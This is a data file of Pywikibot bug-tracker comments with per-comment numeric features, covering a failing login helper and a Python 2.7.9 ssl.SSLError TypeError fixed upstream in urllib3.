492385,Central login at betawiki doesn't work,"If this can help, I use Firefox 39 at Windows 8.1.",,,1437059720,,PHID-USER-4z6eerx3m7iocsrcpku5,False,,,PHID-TASK-muywufhcg2mbbhyyx2mn,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,8.0,15.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,"If this can help, I use Firefox 39 at Windows 8.1."
105821,`python pwb.py login` fails to generate `user-config.py`,"`python pwb.py login` fails to generate `user-config.py` when it has not already been created as the source below indicates it should.
https://www.mediawiki.org/wiki/Manual:Pywikibot/Basic_use
Instead it gives the following:
   $ python pwb.py login
   NOTE: 'user-config.py' was not found!
   Please follow the prompts to create it:
   Unknown arguments: login",Needs Triage,90.0,1436900474,1436982791.0,PHID-USER-iy46yyjkoqm6q63ztld6,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-2eehryo3j6a3emp6nf57,task_description,duplicate,True,c3,3,False,False,True,1,True,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,5.0,3.0,12.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,3.0,2.0,0.0,7.0,5.0,3.0,0.0,3.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.155172413793103,0.7068965517241379,"CODE fails to generate CODE when it has not already been created as the source below indicates it should.
URL
Instead it gives the following:
   $ python pwb.py login
   NOTE: 'user-config.py' was not found!
   Please follow the prompts to create it:
   Unknown arguments: login"
491888,`python pwb.py login` fails to generate `user-config.py`,">>! In T105821#1454045, @XZise wrote:
> Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.

+1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated (see also T94184).",,,1436982872,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5434782608695654,0.8478260869565217,"QUOTE
QUOTE

+1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated (see also T94184)."
491885,`python pwb.py login` fails to generate `user-config.py`,">>! In T105821#1454045, @XZise wrote:
> Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.

+1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated.",,,1436982774,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,2.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,10.0,10.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6097560975609757,0.8292682926829268,"QUOTE
QUOTE

+1 one month, it's July already. Anyway I'll close it as a duplicate of T101838 as it has been fixed already. The only issue that the nightlies don't get generated."
491823,`python pwb.py login` fails to generate `user-config.py`,"Okay. I've already got it functional, I just wanted to confirm that it was fixed. Thanks!",,,1436977570,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.8571428571428571,"Okay. I've already got it functional, I just wanted to confirm that it was fixed. Thanks!"
491815,`python pwb.py login` fails to generate `user-config.py`,It is supposed to be recent. Alternatively use got or initialise it manually and do `python generate_user_files.py`.,,,1436977216,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.9444444444444444,It is supposed to be recent. Alternatively use got or initialise it manually and do CODE.
491754,`python pwb.py login` fails to generate `user-config.py`,Can you point me towards an alternative location to get a more recent version?,,,1436973171,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,4.333333333333333,1.0,Can you point me towards an alternative location to get a more recent version?
491884,`python pwb.py login` fails to generate `user-config.py`,Unfortunately it's a version from 10 days ago. @Ladsgroup might need to check it out why it's not generating new nightlies.,,,1436982442,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.16,0.84,Unfortunately it's a version from 10 days ago.SCREEN_NAME might need to check it out why it's not generating new nightlies.
491737,`python pwb.py login` fails to generate `user-config.py`,Unfortunately it's a version from 10 days ago. @Amir1 might need to check it out why it's not generating new nightlies.,,,1436972415,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.16,0.84,Unfortunately it's a version from 10 days ago.SCREEN_NAME might need to check it out why it's not generating new nightlies.
491696,`python pwb.py login` fails to generate `user-config.py`,"I'm using the core nightly build here:
http://tools.wmflabs.org/pywikibot/
{F192550}
and I am still hitting the same problem. Is this not the most recent version?",,,1436969280,,PHID-USER-iy46yyjkoqm6q63ztld6,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,15.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.3333333333333335,0.8484848484848485,"I'm using the core nightly build here:
URL
{F192550}
and I am still hitting the same problem. Is this not the most recent version?"
491529,`python pwb.py login` fails to generate `user-config.py`,This looks like T101838 and should be solved already. Could you test a recent version?,,,1436923550,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-2eehryo3j6a3emp6nf57,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.235294117647059,1.0,This looks like T101838 and should be solved already. Could you test a recent version?
105767,TypeError with ndg-httpsclient on Python2.7,"Installing ndg-httpsclient on Python2.7 can cause a TypeError

https://travis-ci.org/VcamX/pywikibot-core/jobs/70758871
```
======================================================================
ERROR: test_https_cert_error (tests.http_tests.HttpsCertificateTestCase)
Test http.request fails on invalid omegawiki SSL certificate.
----------------------------------------------------------------------
Traceback (most recent call last):
  File ""/home/travis/build/VcamX/pywikibot-core/tests/http_tests.py"", line 92, in test_https_cert_error
    uri='https://www.omegawiki.org/')
  File ""/opt/python/2.7.9/lib/python2.7/unittest/case.py"", line 473, in assertRaises
    callableObj(*args, **kwargs)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/tools/__init__.py"", line 1227, in wrapper
    return obj(*__args, **__kw)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 230, in request
    r = fetch(uri, method, body, headers, **kwargs)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 363, in fetch
    error_handling_callback(request)
  File ""/home/travis/build/VcamX/pywikibot-core/pywikibot/comms/http.py"", line 280, in error_handling_callback
    raise request.data
TypeError: __str__ returned non-string (type Error)
```",Needs Triage,90.0,1436839482,1462348996.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-gbs772f5nbiji6ehwpea,False,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_description,resolved,True,c3,3,True,False,False,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.7777777777777777,0.8333333333333334,"Installing ndg-httpsclient on Python2.7 can cause a TypeError

URL
``CODE``"
656244,TypeError with ndg-httpsclient on Python2.7,"Closing this as requests has released 2.8.0 and even moved on to 2.10

Note: Someone had found that requests 2.9 still had an issue and that was fixed in https://github.com/shazow/urllib3/pull/792 finally. That commit landed in requests 2.10 which was released a few days ago.

Reopen if there's still an issue with it.",,,1462348996,,PHID-USER-gbs772f5nbiji6ehwpea,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,43,True,2.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,14.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9152542372881354,0.7457627118644068,"Closing this as requests has released 2.8.0 and even moved on to 2.10

Note: Someone had found that requests 2.9 still had an issue and that was fixed in URL finally. That commit landed in requests 2.10 which was released a few days ago.

Reopen if there's still an issue with it."
502629,TypeError with ndg-httpsclient on Python2.7,"The problem appears to have been fixed in https://github.com/shazow/urllib3/releases/tag/1.11

We're still waiting for requests 2.8.0 to be released with the urllib3 fix: https://github.com/kennethreitz/requests/pull/2678",,,1438792230,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,19.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.038461538461538,0.9230769230769231,"The problem appears to have been fixed in URL

We're still waiting for requests 2.8.0 to be released with the urllib3 fix: URL"
491851,TypeError with ndg-httpsclient on Python2.7,"I've done a build of requests with 'security' enabled, and their tests dont fail, so I guess they do not have a test which covers this scenario.
https://travis-ci.org/jayvdb/requests/builds/71113089",,,1436979385,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,3.0,0.0,6.0,0.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.8611111111111112,"I've done a build of requests with 'security' enabled, and their tests dont fail, so I guess they do not have a test which covers this scenario.
URL"
491726,TypeError with ndg-httpsclient on Python2.7,@jayvdb Thanks for your explain! I was stuck in the C implementation of SSLError. It helps me a lot! :D,,,1436971671,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,26.0,0.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,17.0,13.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.8260869565217392,0.9565217391304348,SCREEN_NAME Thanks for your explain! I was stuck in the C implementation of SSLError. It helps me a lot! :D
491707,TypeError with ndg-httpsclient on Python2.7,"Thanks.  That is what I expected.

Prior to py2.7.9 's [[https://hg.python.org/cpython/rev/92163|backport of Python 3 ssl]], aka PEP 466 aka [[http://bugs.python.org/issue21308|issue 21308]] , `ssl.SSLError` was a normal simple subclass of `socket.error` created using PyErr_NewException.  socket.error doesnt have a `__str__` handler, and is a subclass of `IOError`, which is an `EnvironmentError`.

https://hg.python.org/cpython/rev/92163#l23.3608

That change introduced a custom `__str__` handler for SSLError.

https://hg.python.org/cpython/rev/92163#l23.3617
https://docs.python.org/2/c-api/typeobj.html#c.PyTypeObject.tp_str

```
static PyObject *
SSLError_str(PyEnvironmentErrorObject *self)
{
    if (self->strerror != NULL) {
        Py_INCREF(self->strerror);
        return self->strerror;
    }
    else
        return PyObject_Str(self->args);
}
```

The above simpler this returns strerror, without creating a copy and ignores the other args.
So in prior versions, str(SSLError) would be handled by a generic and 'safe' implementation which will construct the string representation using the args, but then in py279 the above assumes that self.strerror is a string.

SSLError is not at fault; the strerror passed to the SSLError constructor is expected to be a string.
https://docs.python.org/2/library/exceptions.html#exceptions.EnvironmentError
https://docs.python.org/3/library/exceptions.html#OSError

So, I believe this is a misuse of SSLError, and `raise ssl.SSLError('bad handshake', str(e))` is a good solution.  Does that change pass the urllib3 test suite?

It appears that this has been fixed in urllib3
https://github.com/shazow/urllib3/commit/e2de9f67f276f5a9c2ca3689ce50eac2c7361f4f

but that change has not been syncronised into `requests`.",,,1436970341,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,22.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,5.0,11.0,0.0,1.0,0.0,1.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,4.0,3.673469387755102,0.5510204081632653,"Thanks.  That is what I expected.

Prior to py2.7.9 's [[URL of Python 3 ssl]], aka PEP 466 aka [[URL 21308]] , CODE was a normal simple subclass of CODE created using PyErr_NewException.  socket.error doesnt have a CODE handler, and is a subclass of CODE, which is an CODE.

URL

That change introduced a custom CODE handler for SSLError.

URL
URL

``CODE`CODEraise ssl.SSLError('bad handshake', str(e))CODErequests`."
491684,TypeError with ndg-httpsclient on Python2.7,"@jayvdb, 2.7.8 works well, 2.7.10 has the same problem.",,,1436966855,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9166666666666666,"SCREEN_NAME, 2.7.8 works well, 2.7.10 has the same problem."
491623,TypeError with ndg-httpsclient on Python2.7,"Can you re-try that in 2.7.8?  It might be specific to 2.7.9+, which backported the Python3 ssl module.",,,1436957630,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.44,1.0,"Can you re-try that in 2.7.8?  It might be specific to 2.7.9+, which backported the Python3 ssl module."
491616,TypeError with ndg-httpsclient on Python2.7,"I think it's a platform-specific bug for ssl.SSLError, or a misuse of ssl.SSLError.
I executed the following commands on different platforms:
    >>> import ssl
    >>> class AError(Exception): pass
    >>> str(ssl.SSLError('a', AError('b')))
and got different results:

2.6.9:
    >>> str(ssl.SSLError('a', AError('b')))
    '[Errno a] b'
2.7.9:
    >>> str(ssl.SSLError('a', AError('b')))
    Traceback (most recent call last):
      File ""<stdin>"", line 1, in <module>
    TypeError: __str__ returned non-string (type AError)
3.4.3:
    >>> str(ssl.SSLError('a', AError('b')))
    ""('a', AError('b',))""

On 2.7.9, it seems that if the second element of args of ssl.SSLError is not a string (str or unicode), TypeError is always raised.
And urllib3 raise a ssl.SSLError with OpenSSL.SSL.Error as its second element of args. https://github.com/kennethreitz/requests/blob/master/requests/packages/urllib3/contrib/pyopenssl.py#L290

My patch is replace `raise ssl.SSLError('bad handshake', e)` with `raise ssl.SSLError('bad handshake', str(e))`",,,1436956269,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-kmrqiv5ozhlhwutlyukf,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.5,0.5,6.0,0.5,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.0,1.5,0.0,1.5,7.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,13.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0,1.5,14.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,3.0,7.0,11.5,0.0,5.0,0.0,3.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,3.5,3.316394279877426,0.6326608784473953,"I think it's a platform-specific bug for ssl.SSLError, or a misuse of ssl.SSLError.
I executed the following commands on different platforms:
QUOTE
QUOTE
QUOTE
and got different results:

2.6.9:
QUOTE
    '[Errno a] b'
2.7.9:
QUOTE
    Traceback (most recent call last):
      File ""<stdin>"", line 1, in <module>
    TypeError: __str__ returned non-string (type AError)
3.4.3:
QUOTE
    ""('a', AError('b',))""

On 2.7.9, it seems that if the second element of args of ssl.SSLError is not a string (str or unicode), TypeError is always raised.
And urllib3 raise a ssl.SSLError with OpenSSL.SSL.Error as its second element of args. URL

My patch is replace CODE with CODE"
491542,TypeError with ndg-httpsclient on Python2.7,">>! In T105767#1451342, @VcamX wrote:
> Related issue: https://github.com/shazow/urllib3/issues/556

